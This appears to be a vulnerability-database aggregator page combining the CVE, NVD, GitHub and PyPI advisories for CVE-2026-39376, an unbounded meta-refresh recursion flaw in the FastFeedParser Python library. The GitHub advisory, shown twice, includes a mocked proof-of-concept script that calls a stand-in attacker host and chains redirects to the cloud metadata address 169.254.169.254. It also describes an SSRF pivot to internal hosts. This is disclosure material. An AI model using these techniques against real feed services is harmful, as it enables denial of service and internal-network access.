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CVE-2026-39376 (GCVE-0-2026-39376)

Vulnerability from cvelistv5 – Published: 2026-04-07 19:46 – Updated: 2026-04-08 19:22

Title

FastFeedParser has an infinite redirect loop DoS via meta-refresh chain

Summary

FastFeedParser is a high performance RSS, Atom and RDF parser. Prior to 0.5.10, when parse() fetches a URL that returns an HTML page containing a <meta http-equiv="refresh"> tag, it recursively calls itself with the redirect URL — with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check. This vulnerability is fixed in 0.5.10.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-674 - Uncontrolled Recursion

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/kagisearch/fastfeedparser/secu…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
kagisearch	fastfeedparser	Affected: < 0.5.10

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FKIE_CVE-2026-39376

Vulnerability from fkie_nvd - Published: 2026-04-07 20:16 - Updated: 2026-06-17 10:42

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/kagisearch/fastfeedparser/security/advisories/GHSA-4gx2-pc4f-wq37	Exploit, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/kagisearch/fastfeedparser/security/advisories/GHSA-4gx2-pc4f-wq37	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	kagi	fastfeedparser	*

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GHSA-4GX2-PC4F-WQ37

Vulnerability from github – Published: 2026-04-08 00:12 – Updated: 2026-06-06 00:24

Summary

FastFeedParser has an infinite redirect loop DoS via meta-refresh chain

Details

Summary

When parse() fetches a URL that returns an HTML page containing a <meta http-equiv="refresh"> tag, it recursively calls itself with the redirect URL — with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check.

Details

parse() catches ValueError on XML parse failure, extracts a meta-refresh URL from the HTML response via _extract_meta_refresh_url(), and tail-calls itself with that URL. The recursive call is unconditional — there is no maximum redirect depth, no set of already-visited URLs, and no guard against self-referential or looping redirects.

fastfeedparser/main.py — parse() (recursive sink):

def parse(source: str | bytes, ...) -> FastFeedParserDict:
    is_url = isinstance(source, str) and source.startswith(("http://", "https://"))
    if is_url:
        content = _fetch_url_content(source)
    try:
        return _parse_content(content, ...)
    except ValueError as e:
        ...
        redirect_url = _extract_meta_refresh_url(content, source)
        if redirect_url is None:
            raise
        return parse(redirect_url, ...)   # ← unconditional recursion, no depth limit

_extract_meta_refresh_url() uses urljoin(base_url, match.group(1)) so relative, protocol-relative (//host/path), and absolute URLs in the content= attribute are all followed.

PoC

No live server required. The following monkeypatches _fetch_url_content to return an infinite HTML meta-refresh chain and confirms unbounded recursion:

import fastfeedparser.main as m

call_count = 0
_orig = m._fetch_url_content

def mock_fetch(url):
    global call_count
    call_count += 1
    if call_count > 10:
        raise RuntimeError(f"Stopped at call {call_count}")
    next_url = f"http://169.254.169.254/step{call_count}/"
    return f"""<html><head>
<meta http-equiv="refresh" content="0; url={next_url}">
</head><body>not a feed</body></html>""".encode()

m._fetch_url_content = mock_fetch

try:
    m.parse("http://attacker.com/loop")
except RuntimeError as e:
    print(f"CONFIRMED infinite loop: {e}")
finally:
    m._fetch_url_content = _orig
    print(f"Total fetches before stop: {call_count}")

# Output:
# CONFIRMED infinite loop: Stopped at call 11
# Total fetches before stop: 11

Each recursive call performs a real HTTP request (30 s timeout), HTML parsing, and a Python stack frame allocation. With Python's default recursion limit of 1000 and a 30 s per-request timeout, a single attacker request can hold a server thread busy for up to ~8 hours before a RecursionError is raised.

SSRF chain variant: The first response can be legitimate HTML redirecting to an internal address (http://192.168.1.1/), letting the redirect loop also serve as an SSRF bypass for targets that would otherwise be blocked by application-level URL validation applied only to the initial URL.

Impact

This is a denial-of-service vulnerability with a secondary SSRF-chaining impact. Any application that accepts user-supplied feed URLs and calls fastfeedparser.parse() is affected — including RSS aggregators, feed preview services, and "subscribe by URL" features. An attacker with no authentication can:

Hold a server worker thread indefinitely (one request per attacker connection)
Crash the worker process via RecursionError after ~1000 redirects
Use the redirect chain to pivot SSRF requests to internal network targets

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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  "details": "### Summary\nWhen `parse()` fetches a URL that returns an HTML page containing a `\u003cmeta http-equiv=\"refresh\"\u003e` tag, it recursively calls itself with the redirect URL \u2014 with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check.\n\n\n### Details\n`parse()` catches `ValueError` on XML parse failure, extracts a meta-refresh URL from the HTML response via `_extract_meta_refresh_url()`, and tail-calls itself with that URL. The recursive call is unconditional \u2014 there is no maximum redirect depth, no set of already-visited URLs, and no guard against self-referential or looping redirects.\n\n**`fastfeedparser/main.py` \u2014 `parse()` (recursive sink):**\n```python\ndef parse(source: str | bytes, ...) -\u003e FastFeedParserDict:\n    is_url = isinstance(source, str) and source.startswith((\"http://\", \"https://\"))\n    if is_url:\n        content = _fetch_url_content(source)\n    try:\n        return _parse_content(content, ...)\n    except ValueError as e:\n        ...\n        redirect_url = _extract_meta_refresh_url(content, source)\n        if redirect_url is None:\n            raise\n        return parse(redirect_url, ...)   # \u2190 unconditional recursion, no depth limit\n```\n\n`_extract_meta_refresh_url()` uses `urljoin(base_url, match.group(1))` so relative, protocol-relative (`//host/path`), and absolute URLs in the `content=` attribute are all followed.\n\n### PoC\nNo live server required. The following monkeypatches `_fetch_url_content` to return an infinite HTML meta-refresh chain and confirms unbounded recursion:\n\n```python\nimport fastfeedparser.main as m\n\ncall_count = 0\n_orig = m._fetch_url_content\n\ndef mock_fetch(url):\n    global call_count\n    call_count += 1\n    if call_count \u003e 10:\n        raise RuntimeError(f\"Stopped at call {call_count}\")\n    next_url = f\"http://169.254.169.254/step{call_count}/\"\n    return f\"\"\"\u003chtml\u003e\u003chead\u003e\n\u003cmeta http-equiv=\"refresh\" content=\"0; url={next_url}\"\u003e\n\u003c/head\u003e\u003cbody\u003enot a feed\u003c/body\u003e\u003c/html\u003e\"\"\".encode()\n\nm._fetch_url_content = mock_fetch\n\ntry:\n    m.parse(\"http://attacker.com/loop\")\nexcept RuntimeError as e:\n    print(f\"CONFIRMED infinite loop: {e}\")\nfinally:\n    m._fetch_url_content = _orig\n    print(f\"Total fetches before stop: {call_count}\")\n\n# Output:\n# CONFIRMED infinite loop: Stopped at call 11\n# Total fetches before stop: 11\n```\n\nEach recursive call performs a real HTTP request (30 s timeout), HTML parsing, and a Python stack frame allocation. With Python\u0027s default recursion limit of 1000 and a 30 s per-request timeout, a single attacker request can hold a server thread busy for up to ~8 hours before a `RecursionError` is raised.\n\n**SSRF chain variant:** The first response can be legitimate HTML redirecting to an internal address (`http://192.168.1.1/`), letting the redirect loop also serve as an SSRF bypass for targets that would otherwise be blocked by application-level URL validation applied only to the initial URL.\n\n\n\n### Impact\nThis is a denial-of-service vulnerability with a secondary SSRF-chaining impact. Any application that accepts user-supplied feed URLs and calls `fastfeedparser.parse()` is affected \u2014 including RSS aggregators, feed preview services, and \"subscribe by URL\" features. An attacker with no authentication can:\n\n- Hold a server worker thread indefinitely (one request per attacker connection)\n- Crash the worker process via `RecursionError` after ~1000 redirects\n- Use the redirect chain to pivot SSRF requests to internal network targets",
  "id": "GHSA-4gx2-pc4f-wq37",
  "modified": "2026-06-06T00:24:06Z",
  "published": "2026-04-08T00:12:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kagisearch/fastfeedparser/security/advisories/GHSA-4gx2-pc4f-wq37"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39376"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kagisearch/fastfeedparser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/fastfeedparser/PYSEC-2026-60.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FastFeedParser has an infinite redirect loop DoS via meta-refresh chain"
}

PYSEC-2026-60

Vulnerability from pysec - Published: 2026-04-07 20:16 - Updated: 2026-05-20 09:19

Details

FastFeedParser is a high performance RSS, Atom and RDF parser. Prior to 0.5.10, when parse() fetches a URL that returns an HTML page containing a tag, it recursively calls itself with the redirect URL — with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check. This vulnerability is fixed in 0.5.10.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impacted products

Name	purl
fastfeedparser	pkg:pypi/fastfeedparser

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  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fastfeedparser",
        "purl": "pkg:pypi/fastfeedparser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
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        "0.2.1",
        "0.2.2",
        "0.3.0",
        "0.3.1",
        "0.3.2",
        "0.3.3",
        "0.3.4",
        "0.3.5",
        "0.3.7",
        "0.3.8",
        "0.3.9",
        "0.4.0",
        "0.4.1",
        "0.4.2",
        "0.4.3",
        "0.4.4",
        "0.4.5",
        "0.4.6",
        "0.4.7",
        "0.4.8",
        "0.4.9",
        "0.5.0",
        "0.5.1",
        "0.5.2",
        "0.5.3",
        "0.5.4",
        "0.5.5",
        "0.5.6",
        "0.5.7",
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        "0.5.9"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39376",
    "GHSA-4gx2-pc4f-wq37"
  ],
  "details": "FastFeedParser is a high performance RSS, Atom and RDF parser. Prior to 0.5.10, when parse() fetches a URL that returns an HTML page containing a \u003cmeta http-equiv=\"refresh\"\u003e tag, it recursively calls itself with the redirect URL \u2014 with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check. This vulnerability is fixed in 0.5.10.",
  "id": "PYSEC-2026-60",
  "modified": "2026-05-20T09:19:00.162749Z",
  "published": "2026-04-07T20:16:32.450Z",
  "references": [
    {
      "type": "EVIDENCE",
      "url": "https://github.com/kagisearch/fastfeedparser/security/advisories/GHSA-4gx2-pc4f-wq37"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

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Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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Action not permitted

CVE-2026-39376 (GCVE-0-2026-39376)

FKIE_CVE-2026-39376

GHSA-4GX2-PC4F-WQ37

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PYSEC-2026-60

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